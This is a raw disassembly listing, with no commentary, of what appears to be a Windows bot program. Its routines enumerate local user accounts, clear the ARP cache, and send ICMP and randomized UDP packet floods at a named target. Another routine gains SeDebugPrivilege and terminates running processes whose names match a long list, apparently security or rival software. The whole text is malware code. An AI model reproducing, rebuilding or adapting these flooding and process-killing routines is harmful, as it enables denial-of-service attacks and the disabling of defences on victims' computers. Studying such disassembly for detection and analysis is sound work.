		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+var_4]
		jbe	short loc_407986
		xor	esi, esi


loc_4079DC:				; CODE XREF: sub_4078DE+A0j
		push	[ebp+var_8]
		call	dword_435820


loc_4079E5:				; CODE XREF: sub_4078DE+98j
		cmp	ebx, 0EAh
		jz	loc_407917
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4078DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079FD	proc near		; CODE XREF: sub_408A18:loc_40A7C5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_407AA0
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_407A3F
		dec	eax
		jz	short loc_407A34
		dec	eax
		jnz	short loc_407A5A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4071EE
		add	esp, 14h
		jmp	short loc_407A56
; ---------------------------------------------------------------------------


loc_407A34:				; CODE XREF: sub_4079FD+1Dj
		push	ebx
		push	edi
		call	sub_4071CD
		pop	ecx
		pop	ecx
		jmp	short loc_407A56
; ---------------------------------------------------------------------------


loc_407A3F:				; CODE XREF: sub_4079FD+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_407A53
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_407173
		add	esp, 0Ch
		jmp	short loc_407A56
; ---------------------------------------------------------------------------


loc_407A53:				; CODE XREF: sub_4079FD+45j
		push	57h
		pop	eax


loc_407A56:				; CODE XREF: sub_4079FD+35j
					; sub_4079FD+40j ...
		cmp	eax, edi
		jnz	short loc_407A7A


loc_407A5A:				; CODE XREF: sub_4079FD+20j
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42B474[eax*4]
		mov	esi, offset dword_436270
		push	offset aNetSUsernameS_ ; "[NET]: %s username: '%s'."
		push	esi
		call	sub_4145E5
		add	esp, 10h
		jmp	short loc_407AC0
; ---------------------------------------------------------------------------


loc_407A7A:				; CODE XREF: sub_4079FD+5Bj
		call	sub_4075BC
		push	eax
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42B470[eax*4]
		mov	esi, offset dword_436270
		push	offset aNetSErrorWithU ; "[NET]: %s: Error with	username: '%s'. %"...
		push	esi
		call	sub_4145E5
		add	esp, 14h
		jmp	short loc_407AC0
; ---------------------------------------------------------------------------


loc_407AA0:				; CODE XREF: sub_4079FD+Dj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42B470[eax*4]
		mov	esi, offset dword_436270
		push	offset aNetSNoUsername ; "[NET]: %s: No	username specified."
		push	esi
		call	sub_4145E5
		add	esp, 0Ch


loc_407AC0:				; CODE XREF: sub_4079FD+7Bj
					; sub_4079FD+A1j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4079FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AC7	proc near		; CODE XREF: sub_408A18+1DDAp

var_21C		= byte ptr -21Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		push	[ebp+arg_C]
		xor	esi, esi
		mov	[ebp+var_4], esi
		call	sub_407023
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_18], eax
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		push	[ebp+arg_4]
		mov	[ebp+var_8], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_C], esi
		call	sub_4056FB
		add	esp, 18h
		push	ebx


loc_407B06:				; CODE XREF: sub_407AC7+129j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	esi
		push	[ebp+var_18]
		call	dword_4357C8
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jz	short loc_407B65
		cmp	eax, 0EAh
		jz	short loc_407B65
		push	eax
		call	sub_4075BC
		push	eax
		lea	eax, [ebp+var_21C]
		push	offset aNetUserListErr ; "[NET]: User list error: %s <%ld>"
		push	eax
		call	sub_4145E5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 24h
		jmp	short loc_407BD6
; ---------------------------------------------------------------------------


loc_407B65:				; CODE XREF: sub_407AC7+62j
					; sub_407AC7+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_407BE9
		xor	ebx, ebx
		cmp	[ebp+var_8], esi
		jbe	short loc_407BD6


loc_407B73:				; CODE XREF: sub_407AC7+E7j
		cmp	edi, esi
		lea	eax, [ebp+var_21C]
		jz	short loc_407BB2
		push	dword ptr [edi]
		push	offset aS_3	; "  %S"
		push	eax
		call	sub_4145E5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_C]
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jb	short loc_407B73
		jmp	short loc_407BD6
; ---------------------------------------------------------------------------


loc_407BB2:				; CODE XREF: sub_407AC7+B4j
		push	offset aNetAnAccessVio ; "[NET]: An access violation has occured."...
		push	eax
		call	sub_4145E5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 1Ch


loc_407BD6:				; CODE XREF: sub_407AC7+9Cj
					; sub_407AC7+AAj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_407BE9
		push	edi
		call	dword_435820
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_407BE9:				; CODE XREF: sub_407AC7+A3j
					; sub_407AC7+114j
		cmp	[ebp+var_10], 0EAh
		jz	loc_407B06
		cmp	edi, esi
		pop	ebx
		jz	short loc_407C02
		push	edi
		call	dword_435820


loc_407C02:				; CODE XREF: sub_407AC7+132j
		push	[ebp+var_C]
		lea	eax, [ebp+var_21C]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4145E5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_10], esi
		pop	edi
		setz	al
		pop	esi
		leave
		retn
sub_407AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C3B	proc near		; CODE XREF: sub_4024E0+7p
					; sub_4039C6+7Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43585C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_407C63
		push	[esp+arg_0]
		call	dword_435848	; gethostbyname
		test	eax, eax
		jnz	short loc_407C5C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_407C5C:				; CODE XREF: sub_407C3B+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_407C63:				; CODE XREF: sub_407C3B+Dj
		retn
sub_407C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C64	proc near		; CODE XREF: sub_4088B9+138p
		mov	ecx, dword_4358CC
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_407C72
		jmp	ecx
; ---------------------------------------------------------------------------

locret_407C72:				; CODE XREF: sub_407C64+Aj
		retn
sub_407C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_407C73	proc near		; CODE XREF: sub_408A18:loc_40D012p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 88h
		push	ebx
		push	esi
		xor	eax, eax
		push	edi
		inc	eax
		push	eax
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+var_8]
		xor	ebx, ebx
		push	eax
		push	ebx
		xor	esi, esi
		mov	[ebp+78h+var_8], ebx
		call	dword_4357F4	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, ebx
		jz	short loc_407D03
		sub	ecx, 32h
		jz	loc_407D4A
		sub	ecx, 48h
		jz	short loc_407CCE
		sub	ecx, 6Eh
		jz	short loc_407CC7


loc_407CB3:				; CODE XREF: sub_407C73+8Ej
		push	eax
		lea	eax, [ebp+78h+var_88]
		push	offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP	cache: <%"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	short loc_407D2B
; ---------------------------------------------------------------------------


loc_407CC7:				; CODE XREF: sub_407C73+3Ej
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	is empty."
		jmp	short loc_407D20
; ---------------------------------------------------------------------------


loc_407CCE:				; CODE XREF: sub_407C73+39j
		push	[ebp+78h+var_8]
		call	sub_414E7D
		pop	ecx
		mov	ecx, [ebp+78h+var_8]
		mov	edx, ecx
		mov	esi, eax
		shr	ecx, 2
		xor	eax, eax
		mov	edi, esi
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, ebx
		rep stosb
		jz	short loc_407D1B
		push	1
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	esi
		call	dword_4357F4	; GetIpNetTable
		cmp	eax, ebx
		jnz	short loc_407CB3


loc_407D03:				; CODE XREF: sub_407C73+2Bj
		cmp	[esi], ebx
		jbe	short loc_407D38
		lea	edi, [esi+4]


loc_407D0A:				; CODE XREF: sub_407C73+A4j
		push	edi
		call	dword_435854	; DeleteIpNetEntry
		inc	ebx
		add	edi, 18h
		cmp	ebx, [esi]
		jb	short loc_407D0A
		jmp	short loc_407D38
; ---------------------------------------------------------------------------


loc_407D1B:				; CODE XREF: sub_407C73+7Dj
		push	offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to	allocation ARP ca"...


loc_407D20:				; CODE XREF: sub_407C73+59j
					; sub_407C73+DCj
		lea	eax, [ebp+78h+var_88]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_407D2B:				; CODE XREF: sub_407C73+52j
		lea	eax, [ebp+78h+var_88]
		push	eax
		mov	[ebp+78h+var_4], ebx
		call	sub_401EFF
		pop	ecx


loc_407D38:				; CODE XREF: sub_407C73+92j
					; sub_407C73+A6j
		push	esi
		call	sub_414A14
		mov	eax, [ebp+78h+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 78h
		leave
		retn
; ---------------------------------------------------------------------------


loc_407D4A:				; CODE XREF: sub_407C73+30j
		push	offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
		jmp	short loc_407D20
sub_407C73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D51	proc near		; CODE XREF: sub_401141+21Bp
					; sub_401141+32Ap ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	dword_435760	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		mov	esi, offset dword_436470
		push	esi
		call	sub_4145E5
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_407D51	endp


; =============== S U B	R O U T	I N E =======================================



sub_407DA7	proc near		; CODE XREF: sub_4021B5+260p
					; sub_4021B5+28Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_407DD2
		lea	eax, [ecx-2]
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+4+arg_0]
		push	edi


loc_407DC5:				; CODE XREF: sub_407DA7+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_407DC5
		pop	edi
		jmp	short loc_407DD6
; ---------------------------------------------------------------------------


loc_407DD2:				; CODE XREF: sub_407DA7+Aj
		mov	esi, [esp+4+arg_0]


loc_407DD6:				; CODE XREF: sub_407DA7+29j
		test	ecx, ecx
		jz	short loc_407DDF
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_407DDF:				; CODE XREF: sub_407DA7+31j
		mov	ecx, edx
		shr	ecx, 10h
		and	edx, 0FFFFh
		add	ecx, edx
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		pop	esi
		retn
sub_407DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407DF7	proc near		; DATA XREF: sub_408A18+54FAo

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_414800
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_144]
		rep movsd
		inc	ebx
		mov	[eax+120h], ebx
		call	dword_435838	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43585C	; inet_addr
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407E50
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_435848	; gethostbyname
		test	eax, eax
		jz	short loc_407E56


loc_407E50:				; CODE XREF: sub_407DF7+46j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_407EB4


loc_407E56:				; CODE XREF: sub_407DF7+57j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingErrorSendi ; "[PING]: Error	sending	pings to %s."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_28], 0
		jnz	short loc_407E98
		push	0
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4056FB
		add	esp, 14h


loc_407E98:				; CODE XREF: sub_407DF7+7Ej
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401EFF
		push	[ebp+var_30]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	ebx
		jmp	loc_407F79
; ---------------------------------------------------------------------------


loc_407EB4:				; CODE XREF: sub_407DF7+5Dj
		test	eax, eax
		jz	short loc_407EC4
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_407EC7
; ---------------------------------------------------------------------------


loc_407EC4:				; CODE XREF: sub_407DF7+BFj
		mov	[ebp+var_4], esi


loc_407EC7:				; CODE XREF: sub_407DF7+CBj
		push	7
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		cmp	[ebp+var_3C], eax
		jle	short loc_407EE2
		mov	[ebp+var_3C], eax


loc_407EE2:				; CODE XREF: sub_407DF7+E6j
		cmp	[ebp+var_38], ebx
		jge	short loc_407EEA
		mov	[ebp+var_38], ebx


loc_407EEA:				; CODE XREF: sub_407DF7+EEj
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp+var_40], edi
		jle	short loc_407F19


loc_407EF3:				; CODE XREF: sub_407DF7+120j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	edi
		push	[ebp+var_3C]
		lea	eax, [ebp+var_10320]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4358D0	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_407EF3


loc_407F19:				; CODE XREF: sub_407DF7+FAj
		push	[ebp+arg_0]
		call	dword_43586C	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_28], edi
		jnz	short loc_407F62
		push	edi
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4056FB
		add	esp, 14h


loc_407F62:				; CODE XREF: sub_407DF7+149j
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401EFF
		push	[ebp+var_30]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	edi


loc_407F79:				; CODE XREF: sub_407DF7+B8j
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_407DF7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F80	proc near		; DATA XREF: sub_408A18+564Co

var_10316	= byte ptr -10316h
var_10314	= byte ptr -10314h
var_338		= byte ptr -338h
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10314h
		call	sub_414800
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_138]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4357E8	; socket
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_B4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_43585C	; inet_addr
		xor	edi, edi
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40805B
		lea	eax, [ebp+var_B4]
		push	eax
		call	dword_435848	; gethostbyname
		mov	ecx, eax
		cmp	ecx, edi
		jnz	short loc_40805B
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpErrorSendin ; "[UDP]: Error sending pings to	%s."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_40803F
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_4056FB
		add	esp, 14h


loc_40803F:				; CODE XREF: sub_407F80+9Dj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401EFF
		push	[ebp+var_24]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_408194
; ---------------------------------------------------------------------------


loc_40805B:				; CODE XREF: sub_407F80+6Aj
					; sub_407F80+7Dj
		cmp	[ebp+var_28], edi
		jge	short loc_408063
		mov	[ebp+var_28], edi


loc_408063:				; CODE XREF: sub_407F80+DEj
		mov	eax, 0FFFFh
		cmp	[ebp+var_28], eax
		jle	short loc_408070
		mov	[ebp+var_28], eax


loc_408070:				; CODE XREF: sub_407F80+EBj
		cmp	ecx, edi
		jz	short loc_40807B
		mov	eax, [ecx+0Ch]
		mov	eax, [eax]
		jmp	short loc_40807E
; ---------------------------------------------------------------------------


loc_40807B:				; CODE XREF: sub_407F80+F2j
		lea	eax, [ebp+arg_0]


loc_40807E:				; CODE XREF: sub_407F80+F9j
		cmp	[ebp+var_28], edi
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		jnz	short loc_408099
		call	sub_4147A1
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40809C
; ---------------------------------------------------------------------------


loc_408099:				; CODE XREF: sub_407F80+106j
		push	[ebp+var_28]


loc_40809C:				; CODE XREF: sub_407F80+117j
		call	dword_435934	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_34]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_2C], edi
		mov	[ebp+var_34], eax
		jnz	short loc_4080BA
		mov	[ebp+var_2C], esi


loc_4080BA:				; CODE XREF: sub_407F80+135j
		xor	esi, esi
		cmp	[ebp+var_30], edi
		jle	short loc_408135


loc_4080C1:				; CODE XREF: sub_407F80+159j
		call	sub_4147A1
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_30]
		mov	[ebp+esi-10315h], dl
		jl	short loc_4080C1
		jmp	short loc_408135
; ---------------------------------------------------------------------------


loc_4080DD:				; CODE XREF: sub_407F80+1B8j
		dec	[ebp+var_34]
		push	0Bh
		pop	esi


loc_4080E3:				; CODE XREF: sub_407F80+195j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	sub_4147A1
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_30]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10314]
		push	eax
		push	[ebp+var_4]
		call	dword_4357B8	; sendto
		push	[ebp+var_2C]
		call	ds:dword_420000	; Sleep
		dec	esi
		jnz	short loc_4080E3
		cmp	[ebp+var_28], edi
		jnz	short loc_408135
		call	sub_4147A1
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_435934	; ntohs
		mov	[ebp+var_12], ax


loc_408135:				; CODE XREF: sub_407F80+13Fj
					; sub_407F80+15Bj ...
		cmp	[ebp+var_34], edi
		jg	short loc_4080DD
		dec	[ebp+var_34]
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_40817D
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_4056FB
		add	esp, 14h


loc_40817D:				; CODE XREF: sub_407F80+1DBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401EFF
		push	[ebp+var_24]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	edi


loc_408194:				; CODE XREF: sub_407F80+D6j
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_407F80	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40819B	proc near		; CODE XREF: sub_4037CA+45p
					; sub_4037CA+165p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_4200E0	; GetCurrentProcess
		push	eax
		call	dword_43591C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_4081BA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4081BA:				; CODE XREF: sub_40819B+1Bj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		call	dword_435904	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4081F8
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4081E1
		or	[ebp+var_8], 2
		jmp	short loc_4081E5
; ---------------------------------------------------------------------------


loc_4081E1:				; CODE XREF: sub_40819B+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4081E5:				; CODE XREF: sub_40819B+44j
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_435850	; AdjustTokenPrivileges
		mov	esi, eax


loc_4081F8:				; CODE XREF: sub_40819B+32j
		push	[ebp+var_4]
		call	ds:dword_42003C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40819B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408206	proc near		; CODE XREF: sub_408519+68p
					; sub_40861B+Cp ...

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	49h
		xor	eax, eax
		cmp	dword_4357D8, ebx
		pop	ecx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_408417
		cmp	dword_435834, ebx
		jz	loc_408417
		cmp	dword_435798, ebx
		jz	loc_408417
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40819B
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4357D8	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40840A
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		mov	[ebp+var_12C], 128h
		call	dword_435834	; Process32First
		test	eax, eax
		mov	esi, ds:dword_42003C
		jz	loc_408405
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		call	dword_435798	; Process32Next
		test	eax, eax
		jz	loc_408405
		mov	ebx, ds:dword_420078


loc_4082C5:				; CODE XREF: sub_408206+1F7j
		cmp	[ebp+arg_10], 0
		jz	short loc_408326
		xor	edi, edi


loc_4082CD:				; CODE XREF: sub_408206+E7j
		push	off_42B4D0[edi]
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_4200EC	; lstrcmpiA
		test	eax, eax
		jz	short loc_4082F4
		add	edi, 4
		cmp	edi, 9E0h
		jb	short loc_4082CD
		jmp	loc_4083EB
; ---------------------------------------------------------------------------


loc_4082F4:				; CODE XREF: sub_408206+DCj
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_4083EB
		push	0
		push	edi
		call	ds:dword_4200E8	; TerminateProcess
		test	eax, eax
		jnz	loc_4083EB


loc_40831E:				; CODE XREF: sub_408206+1AFj
		push	edi
		call	esi	; CloseHandle
		jmp	loc_4083EB
; ---------------------------------------------------------------------------


loc_408326:				; CODE XREF: sub_408206+C3j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jnz	loc_4083BA
		cmp	[ebp+arg_4], edi
		jz	loc_4083EB
		push	[ebp+var_124]
		push	8
		call	dword_4357D8	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_40837A
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_435800	; Module32First
		test	eax, eax
		push	[ebp+var_124]
